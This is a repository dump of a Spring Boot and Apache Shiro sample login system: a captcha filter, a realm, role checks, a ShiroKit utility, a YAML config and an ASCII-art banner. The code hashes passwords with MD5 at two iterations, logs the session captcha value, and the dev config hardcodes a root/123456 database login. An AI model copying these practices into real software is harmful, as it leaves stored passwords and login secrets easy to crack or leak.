    "content": "package com.xncoding.pos.shiro;\n\nimport com.xncoding.pos.dao.entity.ManagerInfo;\nimport org.apache.shiro.authc.AuthenticationException;\nimport org.apache.shiro.authc.AuthenticationToken;\nimport org.apache.shiro.subject.Subject;\nimport org.apache.shiro.web.filter.authc.FormAuthenticationFilter;\nimport org.apache.shiro.web.util.WebUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * Description: 验证码过滤器此过滤器已经在shiro中配置，这里不需要再次配置拦截路径\n */\npublic class KaptchaFilter extends FormAuthenticationFilter {\n\n    public static final String DEFAULT_CAPTCHA_PARAM = \"captcha\";\n\n    private String captchaParam = DEFAULT_CAPTCHA_PARAM;\n\n    private static final Logger _logger = LoggerFactory.getLogger(KaptchaFilter.class);\n\n    //登录验证\n    @Override\n    protected boolean executeLogin(ServletRequest request, ServletResponse response)\n            throws Exception {\n\n        CaptchaUsernamePasswordToken token = createToken(request, response);\n        try {\n            _logger.info(\"KaptchaFilter.executeLogin\");\n            /*图形验证码验证*/\n            doCaptchaValidate((HttpServletRequest) request, token);\n            Subject subject = getSubject(request, response);\n            subject.login(token);//正常验证\n\n            //到这里就算验证成功了,把用户信息放到session中\n            ManagerInfo user = ShiroKit.getUser();\n            ((HttpServletRequest) request).getSession().setAttribute(\"user\", user);\n\n            return onLoginSuccess(token, subject, request, response);\n\n        } catch (AuthenticationException e) {\n            return onLoginFailure(token, e, request, response);\n        }\n    }\n\n    @Override\n    protected boolean onLoginSuccess(AuthenticationToken token, Subject subject,\n                                     ServletRequest request, ServletResponse response) throws Exception {\n        issueSuccessRedirect(request, response);\n        //we handled the success redirect directly, prevent the chain from continuing:\n        return false;\n    }\n\n    protected void issueSuccessRedirect(ServletRequest request, ServletResponse response) throws Exception {\n        WebUtils.issueRedirect(request, response, \"/\", null, true);\n    }\n\n    // 验证码校验\n    protected void doCaptchaValidate(HttpServletRequest request, CaptchaUsernamePasswordToken token) {\n        _logger.info(\"KaptchaFilter.doCaptchaValidate\");\n        //session中的图形码字符串\n        String captcha = (String) request.getSession().getAttribute(\n                com.google.code.kaptcha.Constants.KAPTCHA_SESSION_KEY);\n        _logger.info(\"session中的图形码字符串:\" + captcha);\n\n        //比对\n        if (captcha == null || !captcha.equalsIgnoreCase(token.getCaptcha())) {\n            throw new IncorrectCaptchaException();\n        }\n    }\n\n    @Override\n    protected CaptchaUsernamePasswordToken createToken(ServletRequest request, ServletResponse response) {\n\n        String username = getUsername(request);\n        String password = getPassword(request);\n        String captcha = getCaptcha(request);\n        boolean rememberMe = isRememberMe(request);\n        String host = getHost(request);\n\n        return new CaptchaUsernamePasswordToken(username, password.toCharArray(), rememberMe, host, captcha);\n    }\n\n    public String getCaptchaParam() {\n        return captchaParam;\n    }\n\n    public void setCaptchaParam(String captchaParam) {\n        this.captchaParam = captchaParam;\n    }\n\n    protected String getCaptcha(ServletRequest request) {\n        return WebUtils.getCleanParam(request, getCaptchaParam());\n    }\n\n    //保存异常对象到request\n    @Override\n    protected void setFailureAttribute(ServletRequest request, AuthenticationException ae) {\n        request.setAttribute(getFailureKeyAttribute(), ae);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/MyExceptionResolver.java",
    "content": "package com.xncoding.pos.shiro;\n\nimport org.apache.shiro.authz.UnauthorizedException;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * Description  : 自定义异常处理类\n */\npublic class MyExceptionResolver implements HandlerExceptionResolver {\n\n    @Override\n    public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {\n        //如果是shiro无权操作，因为shiro 在操作auno等一部分不进行转发至无权限url\n        if (ex instanceof UnauthorizedException) {\n            return new ModelAndView(\"error/shiro_403\");\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/MyShiroRealm.java",
    "content": "package com.xncoding.pos.shiro;\n\nimport com.xncoding.pos.common.dao.entity.Permission;\nimport com.xncoding.pos.service.ManagerInfoService;\nimport com.xncoding.pos.dao.entity.ManagerInfo;\nimport com.xncoding.pos.dao.entity.SysRole;\nimport org.apache.shiro.authc.AuthenticationException;\nimport org.apache.shiro.authc.AuthenticationInfo;\nimport org.apache.shiro.authc.AuthenticationToken;\nimport org.apache.shiro.authc.SimpleAuthenticationInfo;\nimport org.apache.shiro.authc.credential.CredentialsMatcher;\nimport org.apache.shiro.authc.credential.HashedCredentialsMatcher;\nimport org.apache.shiro.authz.AuthorizationInfo;\nimport org.apache.shiro.authz.SimpleAuthorizationInfo;\nimport org.apache.shiro.realm.AuthorizingRealm;\nimport org.apache.shiro.subject.PrincipalCollection;\nimport org.apache.shiro.util.ByteSource;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\n\n/**\n * Description  : 身份校验核心类\n */\n\npublic class MyShiroRealm extends AuthorizingRealm {\n\n    private static final Logger _logger = LoggerFactory.getLogger(MyShiroRealm.class);\n\n    @Autowired\n    ManagerInfoService managerInfoService;\n\n    /**\n     * 认证信息.(身份验证)\n     * Authentication 是用来验证用户身份\n     *\n     * @param token\n     * @return\n     * @throws AuthenticationException\n     */\n    @Override\n    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token)\n            throws AuthenticationException {\n\n        _logger.info(\"MyShiroRealm.doGetAuthenticationInfo()\");\n\n        //获取用户的输入的账号.\n        String username = (String) token.getPrincipal();\n        //_logger.info(\"用户的账号:\"+username);\n\n        //通过username从数据库中查找 ManagerInfo对象\n        //实际项目中，这里可以根据实际情况做缓存，如果不做，Shiro自己也是有时间间隔机制，2分钟内不会重复执行该方法\n        ManagerInfo managerInfo = managerInfoService.findByUsername(username);\n\n        if (managerInfo == null) {\n            return null;\n        }\n\n        //交给AuthenticatingRealm使用CredentialsMatcher进行密码匹配，如果觉得人家的不好可以自定义实现\n        SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(\n                managerInfo, //用户\n                managerInfo.getPassword(), //密码\n                ByteSource.Util.bytes(managerInfo.getCredentialsSalt()),//salt=username+salt\n                getName()  //realm name\n        );\n\n        //明文: 若存在，将此用户存放到登录认证info中，无需自己做密码对比，Shiro会为我们进行密码对比校验\n//        SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(\n//                managerInfo, //用户名\n//                managerInfo.getPassword(), //密码\n//                getName()  //realm name\n//        );\n        return authenticationInfo;\n    }\n\n    /**\n     * 此方法调用hasRole,hasPermission的时候才会进行回调.\n     * <p>\n     * 权限信息.(授权):\n     * 1、如果用户正常退出，缓存自动清空；\n     * 2、如果用户非正常退出，缓存自动清空；\n     * 3、如果我们修改了用户的权限，而用户不退出系统，修改的权限无法立即生效。\n     * （需要手动编程进行实现；放在service进行调用）\n     * 在权限修改后调用realm中的方法，realm已经由spring管理，所以从spring中获取realm实例，调用clearCached方法；\n     * :Authorization 是授权访问控制，用于对用户进行的操作授权，证明该用户是否允许进行当前操作，如访问某个链接，某个资源文件等。\n     *\n     * @param principals\n     * @return\n     */\n    @Override\n    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {\n        /*\n         * 当没有使用缓存的时候，不断刷新页面的话，这个代码会不断执行，\n         * 当其实没有必要每次都重新设置权限信息，所以我们需要放到缓存中进行管理；\n         * 当放到缓存中时，这样的话，doGetAuthorizationInfo就只会执行一次了，\n         * 缓存过期之后会再次执行。\n         */\n        _logger.info(\"权限配置-->MyShiroRealm.doGetAuthorizationInfo()\");\n        SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();\n        ManagerInfo managerInfo = (ManagerInfo) principals.getPrimaryPrincipal();\n\n        //设置相应角色的权限信息\n        for (SysRole role : managerInfo.getRoles()) {\n            //设置角色\n            authorizationInfo.addRole(role.getRole());\n            for (Permission p : role.getPermissions()) {\n                //设置权限\n                authorizationInfo.addStringPermission(p.getPermission());\n            }\n        }\n\n        return authorizationInfo;\n    }\n\n    /**\n     * 设置认证加密方式\n     */\n    @Override\n    public void setCredentialsMatcher(CredentialsMatcher credentialsMatcher) {\n        HashedCredentialsMatcher md5CredentialsMatcher = new HashedCredentialsMatcher();\n        md5CredentialsMatcher.setHashAlgorithmName(ShiroKit.HASH_ALGORITHM_NAME);\n        md5CredentialsMatcher.setHashIterations(ShiroKit.HASH_ITERATIONS);\n        super.setCredentialsMatcher(md5CredentialsMatcher);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/RoleFilter.java",
    "content": "package com.xncoding.pos.shiro;\n\nimport org.apache.shiro.subject.Subject;\nimport org.apache.shiro.web.filter.authz.RolesAuthorizationFilter;\n\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport java.io.IOException;\n\n/**\n * Description  : 角色过滤器,为了实现or的效果就使用这个过滤器,shiro默认是and的效果\n */\npublic class RoleFilter extends RolesAuthorizationFilter {\n\n    public boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue)\n            throws IOException {\n\n        Subject subject = getSubject(request, response);\n        String[] rolesArray = (String[]) mappedValue;\n\n        if (rolesArray == null || rolesArray.length == 0) {\n            return true;\n        }\n        for (int i = 0; i < rolesArray.length; i++) {\n            if (subject.hasRole(rolesArray[i])) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/shiro/ShiroKit.java",
    "content": "/**\n * Copyright (c) 2015-2017, Chill Zhuang 庄骞 (smallchill@163.com).\n * <p>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.xncoding.pos.shiro;\n\nimport com.xncoding.pos.dao.entity.ManagerInfo;\nimport org.apache.shiro.SecurityUtils;\nimport org.apache.shiro.crypto.SecureRandomNumberGenerator;\nimport org.apache.shiro.crypto.hash.SimpleHash;\nimport org.apache.shiro.session.Session;\nimport org.apache.shiro.subject.Subject;\n\n/**\n * shiro工具类\n *\n * @author dafei, Chill Zhuang\n */\npublic class ShiroKit {\n\n    private static final String NAMES_DELIMETER = \",\";\n\n    /**\n     * 散列算法\n     */\n    public final static String HASH_ALGORITHM_NAME = \"MD5\";\n\n    /**\n     * 循环次数\n     */\n    public final static int HASH_ITERATIONS = 2;\n\n    /**\n     * shiro密码加密工具类\n     *\n     * @param credentials 密码\n     * @param saltSource  密码盐\n     * @return\n     */\n    public static String md5(String credentials, String saltSource) {\n        return new SimpleHash(HASH_ALGORITHM_NAME, credentials, saltSource, HASH_ITERATIONS).toHex();\n    }\n\n    /**\n     * 获取随机盐值\n     *\n     * @param length 字节长度，一个字节2位16进制数表示\n     * @return\n     */\n    public static String getRandomSalt(int length) {\n        return new SecureRandomNumberGenerator().nextBytes(length).toHex();\n    }\n\n    /**\n     * 获取当前 Subject\n     *\n     * @return Subject\n     */\n    public static Subject getSubject() {\n        return SecurityUtils.getSubject();\n    }\n\n    /**\n     * 获取封装的 ShiroUser\n     *\n     * @return ShiroUser\n     */\n    public static ManagerInfo getUser() {\n        if (isGuest()) {\n            return null;\n        } else {\n            return (ManagerInfo) getSubject().getPrincipals().getPrimaryPrincipal();\n        }\n    }\n\n    /**\n     * 从shiro获取session\n     */\n    public static Session getSession() {\n        return getSubject().getSession();\n    }\n\n    /**\n     * 获取shiro指定的sessionKey\n     */\n    @SuppressWarnings(\"unchecked\")\n    public static <T> T getSessionAttr(String key) {\n        Session session = getSession();\n        return session != null ? (T) session.getAttribute(key) : null;\n    }\n\n    /**\n     * 设置shiro指定的sessionKey\n     */\n    public static void setSessionAttr(String key, Object value) {\n        Session session = getSession();\n        session.setAttribute(key, value);\n    }\n\n    /**\n     * 移除shiro指定的sessionKey\n     */\n    public static void removeSessionAttr(String key) {\n        Session session = getSession();\n        if (session != null)\n            session.removeAttribute(key);\n    }\n\n    /**\n     * 验证当前用户是否属于该角色？,使用时与lacksRole 搭配使用\n     *\n     * @param roleName 角色名\n     * @return 属于该角色：true，否则false\n     */\n    public static boolean hasRole(String roleName) {\n        return getSubject() != null && roleName != null\n                && roleName.length() > 0 && getSubject().hasRole(roleName);\n    }\n\n    /**\n     * 与hasRole标签逻辑相反，当用户不属于该角色时验证通过。\n     *\n     * @param roleName 角色名\n     * @return 不属于该角色：true，否则false\n     */\n    public static boolean lacksRole(String roleName) {\n        return !hasRole(roleName);\n    }\n\n    /**\n     * 验证当前用户是否属于以下任意一个角色。\n     *\n     * @param roleNames 角色列表\n     * @return 属于:true,否则false\n     */\n    public static boolean hasAnyRoles(String roleNames) {\n        boolean hasAnyRole = false;\n        Subject subject = getSubject();\n        if (subject != null && roleNames != null && roleNames.length() > 0) {\n            for (String role : roleNames.split(NAMES_DELIMETER)) {\n                if (subject.hasRole(role.trim())) {\n                    hasAnyRole = true;\n                    break;\n                }\n            }\n        }\n        return hasAnyRole;\n    }\n\n    /**\n     * 验证当前用户是否属于以下所有角色。\n     *\n     * @param roleNames 角色列表\n     * @return 属于:true,否则false\n     */\n    public static boolean hasAllRoles(String roleNames) {\n        boolean hasAllRole = true;\n        Subject subject = getSubject();\n        if (subject != null && roleNames != null && roleNames.length() > 0) {\n            for (String role : roleNames.split(NAMES_DELIMETER)) {\n                if (!subject.hasRole(role.trim())) {\n                    hasAllRole = false;\n                    break;\n                }\n            }\n        }\n        return hasAllRole;\n    }\n\n    /**\n     * 验证当前用户是否拥有指定权限,使用时与lacksPermission 搭配使用\n     *\n     * @param permission 权限名\n     * @return 拥有权限：true，否则false\n     */\n    public static boolean hasPermission(String permission) {\n        return getSubject() != null && permission != null\n                && permission.length() > 0\n                && getSubject().isPermitted(permission);\n    }\n\n    /**\n     * 与hasPermission标签逻辑相反，当前用户没有制定权限时，验证通过。\n     *\n     * @param permission 权限名\n     * @return 拥有权限：true，否则false\n     */\n    public static boolean lacksPermission(String permission) {\n        return !hasPermission(permission);\n    }\n\n    /**\n     * 已认证通过的用户，不包含已记住的用户，这是与user标签的区别所在。与notAuthenticated搭配使用\n     *\n     * @return 通过身份验证：true，否则false\n     */\n    public static boolean isAuthenticated() {\n        return getSubject() != null && getSubject().isAuthenticated();\n    }\n\n    /**\n     * 未认证通过用户，与authenticated标签相对应。与guest标签的区别是，该标签包含已记住用户。。\n     *\n     * @return 没有通过身份验证：true，否则false\n     */\n    public static boolean notAuthenticated() {\n        return !isAuthenticated();\n    }\n\n    /**\n     * 认证通过或已记住的用户。与guset搭配使用。\n     *\n     * @return 用户：true，否则 false\n     */\n    public static boolean isUser() {\n        return getSubject() != null && getSubject().getPrincipal() != null;\n    }\n\n    /**\n     * 验证当前用户是否为“访客”，即未认证（包含未记住）的用户。用user搭配使用\n     *\n     * @return 访客：true，否则false\n     */\n    public static boolean isGuest() {\n        return !isUser();\n    }\n\n    /**\n     * 输出当前用户信息，通常为登录帐号信息。\n     *\n     * @return 当前用户信息\n     */\n    public static String principal() {\n        if (getSubject() != null) {\n            Object principal = getSubject().getPrincipal();\n            return principal.toString();\n        }\n        return \"\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义项目配置 ###################\nxncoding:\n  kaptcha-open: true #是否开启登录时验证码 (true/false)\n  session-open: false #是否开启session验证 (true/false)\n  session-invalidate-time: 7200 #session失效时间 单位：秒\n  session-validation-interval: 3600 #多久检测一次失效的session 单位：秒\n  heartbeat-timeout: 10 # 机具心跳报告超时时间 单位：分钟\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  thymeleaf:\n    mode: HTML\n    cache: false\n  mvc:\n    view:\n      prefix: /templates\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/pos/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.pos.api.model,\n    com.xncoding.pos.dao.entity,\n    com.xncoding.pos.common.dao.entity\n  global-config:\n    id-type: 0  # 0:数据库ID自增   1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  datasource:\n      url: jdbc:mysql://127.0.0.1:3306/pos?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n      username: root\n      password: 123456\n  thymeleaf:\n    cache: false\n\n###################  自定义项目配置 ###################\nxncoding:\n  excel-path: E:/home/\n  files-path: E:/home/\n  files-url-prefix: https://show.xncoding.net/files/ # 文件访问URL前缀\n  pics-path: E:/home/\n  pics-url-prefix: https://show.xncoding.net/pics/ # 图片访问URL前缀\n  posapi-url-prefix: http://127.0.0.1:9095\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app-manage.log\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . 